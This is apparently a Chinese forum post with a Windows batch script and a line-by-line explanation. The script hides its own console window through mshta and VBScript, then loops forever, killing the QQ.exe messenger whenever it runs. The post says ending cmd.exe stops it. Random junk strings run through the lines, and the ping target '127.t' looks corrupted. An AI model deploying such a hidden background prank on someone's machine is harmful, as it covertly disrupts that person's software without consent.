|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。
+ k! ]) \+ u1 X: r新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
9 e+ J' F% z/ h5 y- G% J
5 @4 c+ O, ~, ~ U9 H4 u) G@echo off
9 P# { O* _0 K D) G. {if "%1" == "h" goto begin * N2 |7 V% R( p) R
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
! G! i9 n' f% C' W: B, a a7 A% ]:begin ( k! o, y; P: M8 O- O
tasklist |find /i "QQ.exe" / v% S9 A7 a; f8 Z7 k
if %errorlevel%==0 (goto killit) else (goto next) 1 s& G2 x$ n( J2 I# l- M1 q
:killit
2 [( b. I, Q3 d3 e! F7 s' ftaskkill /f /im QQ.exe
1 j6 Q# r* ?: b9 j6 t' Y* E" I:next
5 d2 V/ V' E( I: i6 C% n# d; Tping -n 3 127.t >nul 2>nul
- g8 ]4 }+ c7 Q. C% W1 `" g0 bgoto begin
2 L8 R% M9 m- v- k4 g+ H+ y9 e8 W( P+ p3 A% C+ L* t
代码到此为止
% X9 j3 f, F& [! [" A% @5 E讲解如下: , I! s, V: z+ g2 P3 d) J
@echo off ------关闭回显 ! B, |6 ]$ L/ S( p' N
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
) U; P6 I) c: y; Y; t- H) xmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 ; |3 M5 ~- m3 B
:begin ------------定一段名begin 1 Q/ i8 e' s( X( E
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
& ~! k4 \7 @/ J: Y7 Pif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
7 T, e1 B- T: J6 U( r:killit
7 m% P8 y: V0 |( O, f2 D( `taskkill /f /im QQ.exe----终结进程QQ.exe
1 v: u) J9 E8 Y% }1 g9 @& X/ B# I:next 6 b0 t4 ~: g, t+ D! v
ping -n 3 127.t >nul 2>nul -----延迟一段时间 * K" C9 ]. c/ m. ^) _# W# X
goto begin--------------返回执行begin
" A: @5 Z7 P# ]( |- Z |
|